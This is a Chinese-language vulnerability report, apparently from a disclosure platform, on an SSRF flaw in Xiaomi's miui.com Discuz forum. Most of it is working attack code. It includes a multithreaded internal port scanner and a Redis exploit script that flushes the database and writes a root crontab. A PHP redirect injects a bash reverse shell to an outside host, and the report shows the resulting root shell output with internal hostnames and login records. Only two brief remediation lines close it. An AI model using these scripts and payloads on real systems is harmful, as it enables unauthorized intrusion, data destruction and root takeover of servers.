小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)

小米某处SSRF漏洞，已证明获取内网SHELL，很大很大的内网 (附多线程脚本)

PS: 不支持gopher协议

#1 存在漏洞位置，Discuz 论坛SSRF漏洞

http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]

#2 服务器支持dict、ftp、http协议

http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]

#3 通过信息泄露找到内网地址

phpinfo() 泄露服务器ip地址

http://game.xiaomi.com/activity/info.php

_SERVER["SERVER_ADDR"]10.105.44.71

_SERVER["SERVER_PORT"]8080

_SERVER["SERVER_NAME"]g.mi.com

_SERVER["REDIRECT_STATUS"]200

_SERVER["SCRIPT_FILENAME"]/home/work/game.xiaomi.com/activity/info.php

_SERVER["HTTP_HOST"]game.xiaomi.com

 

 

#4 内网服务探测规则原理分析

http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:8080

访问存在开放的8080端口，网页在1s内加载完成

http://fuzz.wuyun.com/302.php?url=ftp://10.105.44.71:8080

利用ftp协议访问开放的8080端口，网页保持Keep-Alive状态，直到出发nginx的超时

http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:11011

访问不存在的端口11011，触发了小米nginx的超时, 3.1s内加载完成

也就是说，我们可以通过页面加载完成时间，来探测内网开放的端口服务

#5 Know it, then Hack it

通过python的requests，设置一个timeout值，只要http请求2.8秒内没有响应，直接断开，如果成功响应，就说明端口开放

#!/usr/bin/env python

# encoding: utf-8

# email: [email protected]

import requests

import time

import requests.packages.urllib3

requests.packages.urllib3.disable_warnings()

import threading

import Queue

threads_count = 20

scheme = 'dict'

port = '6379'

ip_block = '10.105'

class WyWorker(threading.Thread):

def __init__(self,queue):

threading.Thread.__init__(self)

self.queue = queue

def run(self):

while True:

if self.queue.empty():

break

try:

url = self.queue.get_nowait()

content = requests.get(url, timeout=2.8).content

print url, 'OPEN', len(content)

except requests.exceptions.ReadTimeout:

pass

except requests.exceptions.ConnectTimeout:

pass

except Exception, e:

break

queue = Queue.Queue()

for c in xrange(0,255):

for d in xrange(0,255):

ip = '{0}.{1}.{2}'.format(ip_block,c,d)

payload = 'http://fuzz.wuyun.com/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(

scheme=scheme,

ip=ip,

port=port

)

url = "http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(

payload=payload)

queue.put(url)

threads = []

for i in xrange(threads_count):

threads.append(WyWorker(queue))

for t in threads:

t.start()

for t in threads:

t.join()

#6 6379 端口开放结果

lg-sec-weblog01.bj (10.105.0.23)

lg-miui-ad-se51.bj (10.105.0.24)

lg-im-micloud-pns09.bj (10.105.3.60)

lg-im-micloud-pns10.bj (10.105.3.61)

lg-im-mipush-xmq74.bj (10.105.3.62)

lg-miui-fc-mr02.bj (10.105.3.80)

#7 使用dict协议进行远程利用

#!/usr/bin/env python

# coding=utf-8

import requests

host = '10.105.0.23'

port = '6379'

bhost = 'fuzz.wuyun.com'

bport = '443'

vul_httpurl = 'http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]'

_location = 'http://fuzz.wuyun.com/302.php'

shell_location = 'http://fuzz.wuyun.com/shell.php'

#1 flush db

_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#2 set crontab command

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(

host = host,

port = port,

bhost = bhost,

bport = bport)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#3 config set dir /var/spool/cron/

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#4 config set dbfilename root

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

#5 save to file

_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(

host = host,

port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

# 附加补充源码

302.php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data");

?>

shell.php

$ip = $_GET['ip'];

$port = $_GET['port'];

$bhost = $_GET['bhost'];

$bport = $_GET['bport'];

$scheme = $_GET['s'];

header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");

?>

# 后话，成功获取到SHELL

[[email protected] wyssrf]# nc -l -vv 443

Connection from 42.62.103.30 port 443 [tcp/https] accepted

bash: no job control in this shell

[[email protected] ~]# id

id

uid=0(root) gid=0(root) groups=0(root)

[[email protected] ~]# /sbin/ifconfig -a

/sbin/ifconfig -a

eth0 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:10

inet addr:10.105.0.23 Bcast:10.105.0.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:111088533 errors:0 dropped:0 overruns:0 frame:0

TX packets:158878520 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:45520794026 (42.3 GiB) TX bytes:196616141142 (183.1 GiB)

Memory:dcb00000-dcc00000

eth1 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:11

BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Memory:dcc00000-dcd00000

eth2 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:12

BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Memory:dcd00000-dce00000

eth3 Link encap:Ethernet HWaddr EC:F4:BB:C3:EA:13

BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Memory:dce00000-dcf00000

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:75857851 errors:0 dropped:0 overruns:0 frame:0

TX packets:75857851 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:76991909461 (71.7 GiB) TX bytes:76991909461 (71.7 GiB)

[[email protected] ~]# last -20

last -20

root pts/0 10.21.100.82 Sat Oct 3 16:31 - 05:01 (12:29)

root pts/0 10.21.100.82 Tue Sep 22 14:49 - 14:49 (00:00)

root pts/0 10.21.100.81 Fri Sep 18 16:52 - 05:01 (12:08)

root pts/0 10.200.100.33 Wed Sep 2 12:23 - 15:21 (02:58)

root pts/0 10.200.100.33 Wed Sep 2 12:06 - 12:07 (00:01)

root pts/0 10.21.100.81 Tue Sep 1 10:45 - 11:20 (00:35)

root pts/0 10.200.100.33 Wed Aug 26 11:30 - 15:26 (03:56)

root pts/1 10.21.100.82 Fri Aug 21 04:19 - 05:01 (00:41)

root pts/0 10.21.100.82 Thu Aug 20 11:30 - 05:01 (17:30)

root pts/0 10.21.100.82 Wed Aug 19 11:14 - 05:01 (17:46)

root pts/0 10.21.100.82 Fri Aug 14 10:48 - 05:01 (18:12)

root pts/0 10.21.100.82 Mon Aug 10 09:00 - 05:01 (20:00)

root pts/0 10.21.100.82 Sun Aug 9 20:24 - 05:01 (08:36)

root pts/1 10.200.100.33 Fri Aug 7 10:48 - 14:49 (04:00)

root pts/0 10.21.100.82 Fri Aug 7 09:19 - 05:01 (19:41)

root pts/0 10.21.100.82 Thu Aug 6 09:05 - 05:01 (19:55)

root pts/0 10.21.100.82 Wed Jul 29 10:32 - 05:01 (18:28)

root pts/0 10.21.100.82 Tue Jul 28 20:33 - 05:01 (08:27)

root pts/0 10.21.100.82 Tue Jul 28 15:51 - 20:33 (04:42)

root pts/0 10.21.100.82 Tue Jul 28 15:50 - 15:51 (00:00)

wtmp begins Fri Apr 10 14:00:41 2015

[[email protected] ~]# rm /var/spool/cron/root

rm /var/spool/cron/root

[[email protected] ~]#

解决方案：

#1 更新补丁

#2 SSRF所在服务器，iptables禁止访问内网资源